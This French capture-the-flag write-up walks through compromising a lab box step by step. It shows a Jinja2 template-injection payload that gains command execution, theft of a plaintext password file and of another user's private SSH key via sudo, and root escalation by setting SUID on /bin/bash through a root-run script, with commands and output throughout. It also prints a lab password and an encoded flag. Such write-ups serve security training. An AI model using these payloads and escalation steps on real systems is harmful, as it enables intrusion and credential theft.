Difficulté : Facile

Description

Challenge full‑pwn à faire en 15 minutes. Voici les 6 flags :

  • The clock is ticking
  • F*ck, I forgot the sandbox
  • This lateral movement seems very easy
  • This box is too easy, who made it?
  • SoWeSign will destroy us
  • Hide and seek is back

Avec un nmap, on obtient :

nmap 172.18.0.2 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-15 12:24 CEST
Nmap scan report for 172.18.0.2
Host is up (0.000036s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds

En allant sur l’URL de la box : lien , on tombe sur un site web qui semble créer des templates à l’aide de Jinja2.

Mais il ne semble pas y avoir de point d’entrée pour injecter un payload de test.

Dans le footer, on trouve un nom de domaine, et en lisant le texte, on comprend qu’il faut utiliser un vhost.

On va donc modifier notre fichier /etc/hosts :

172.18.0.2	speedrungobrrr.fr

En retournant sur le site lien , on tombe cette fois-ci sur une console.

On peut tester la console avec le payload de base {{ 7*7 }}. On obtient 49, ce qui confirme bien qu’il s’agit de Jinja2.

On peut donc tester le premier payload pour obtenir une RCE : {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} et on obtient :

uid=999(appuser) gid=999(appuser) groups=999(appuser)

Avec un simple ls, on trouve un fichier motdepassesecuriser.txt.

On peut donc ouvrir ce fichier avec cat motdepassesecuriser.txt, et on obtient un premier mot de passe : Mot-d3_path,vraiment-Sécu.

À partir de l’énumération que nous avons effectuée, ce mot de passe ne peut être utilisé que via SSH. Il nous faut donc un utilisateur. On va donc faire cat /etc/passwd pour obtenir tous les utilisateurs de la machine Linux :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
sshd:x:100:65534::/run/sshd:/usr/sbin/nologin
appuser:x:999:999::/home/appuser:/bin/sh
admin:x:1000:1000::/home/admin:/bin/bash
luis-barros:x:1001:1001::/home/luis-barros:/bin/sh
laboulette:x:1002:1002::/home/laboulette:/bin/bash

On trouve appuser, admin, luis-barros et laboulette. Il ne nous reste plus qu’à les tester un par un.

Le seul utilisateur ayant ce mot de passe est luis-barros.

En se connectant via SSH, on n’obtient qu’un $, ce qui signifie que l’on a un shell sh. On peut donc lancer /bin/bash pour obtenir un shell amélioré.

Ensuite, on peut tester plusieurs commandes d’énumération, mais sudo -l nous donne :

luis-barros@box3:~$ sudo -l
[sudo] password for luis-barros: 
Matching Defaults entries for luis-barros on box3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User luis-barros may run the following commands on box3:
    (laboulette) PASSWD: ALL, !/bin/bash, !/bin/bash *, !/usr/bin/bash, !/usr/bin/bash *, !/bin/sh, !/bin/sh *, !/usr/bin/sh, !/usr/bin/sh *, !/bin/dash, !/bin/dash *, !/usr/bin/dash, !/usr/bin/dash *

Via sudo, on peut donc exécuter des commandes en tant que l’utilisateur laboulette :

luis-barros@box3:~$ sudo -u laboulette id
uid=1002(laboulette) gid=1002(laboulette) groups=1002(laboulette)

Obtenir un reverse shell via sudo n’est pas vraiment possible, car on ne peut pas utiliser sh, bash ou dash. Il va donc falloir passer par une autre méthode.

Grâce au protocole SSH, on peut très facilement obtenir un shell interactif en tant que laboulette si on peut écrire dans son dossier personnel, grâce à une clé SSH. Il nous suffirait d’en créer une, puis de déposer la clé publique au bon endroit.

On a beaucoup de chance, car le créateur de la box nous a déjà créé une clé publique et une clé privée. Il nous suffit donc de la copier et de l’utiliser pour se connecter à l’utilisateur laboulette.

luis-barros@box3:~$ sudo -u laboulette ls -lisah /home/laboulette/.ssh
total 20K
26760803 4.0K drwx------ 2 laboulette laboulette 4.0K Sep 15 12:03 .
26913842 4.0K drwxr-xr-x 1 laboulette laboulette 4.0K Sep 15 12:04 ..
26760804 4.0K -rw------- 1 laboulette laboulette  402 Sep 15 12:03 authorized_keys
26760805 4.0K -rw------- 1 laboulette laboulette 1.8K Sep 15 12:03 id_rsa
26760806 4.0K -rw-r--r-- 1 laboulette laboulette  402 Sep 15 12:03 id_sa.pub
sudo -u laboulette cat /home/laboulette/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----
ssh laboulette@127.0.0.1 -i id_rsa
Linux box3 6.12.105+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.105-1 (2026-08-24) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
laboulette@box3:~$ id
uid=1002(laboulette) gid=1002(laboulette) groups=1002(laboulette)

En se connectant en tant que laboulette, on trouve un script qui semble avoir déjà été exécuté.

laboulette@box3:~$ cat clone_emarge.sh 
#!/bin/bash
set -eu
install -d -o laboulette -g laboulette -m 0755 /home/laboulette
cd /home/laboulette
if [ ! -d /home/laboulette/Emarge ]; then git clone https://github.com/MTlyx/Emarge; fi
chown -R laboulette:laboulette /home/laboulette/Emarge 2>/dev/null || true

Pour vérifier que ce script est bien exécuté par un utilisateur, on peut utiliser pspy64 .

./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

[...]
2026/09/14 12:32:31 CMD: UID=0     PID=183    | /bin/bash /home/laboulette/clone_emarge.sh 

On peut donc ajouter une ligne pour tenter d’obtenir un reverse shell, ou encore ajouter un SUID sur /bin/bash. La technique avec la clé SSH n’est souvent pas disponible pour root, car par défaut il n’est pas possible de se connecter en tant que root via SSH.

chmod +s /bin/bash
/bin/bash -p
bash-5.2# id
uid=1002(laboulette) gid=1002(laboulette) euid=0(root) egid=0(root) groups=0(root),1002(laboulette)

Maintenant, en tant que root, il va falloir trouver si il y a des informations utiles pour la suite, comme un mot de passe, un nom d’utilisateur, ou encore une IP.

Si on repense à tout ce qu’on a fait, il reste encore un utilisateur que nous n’avons pas compromis : admin. On peut donc aller dans son dossier personnel et voir qu’il n’y a presque rien, à part son historique de commande. On peut y trouver :

cat .bash_history 
echo "SFd7UDBzdC0zcGwwSXRfM29PMH0=" | base64 -d
id
whoami
sudo -l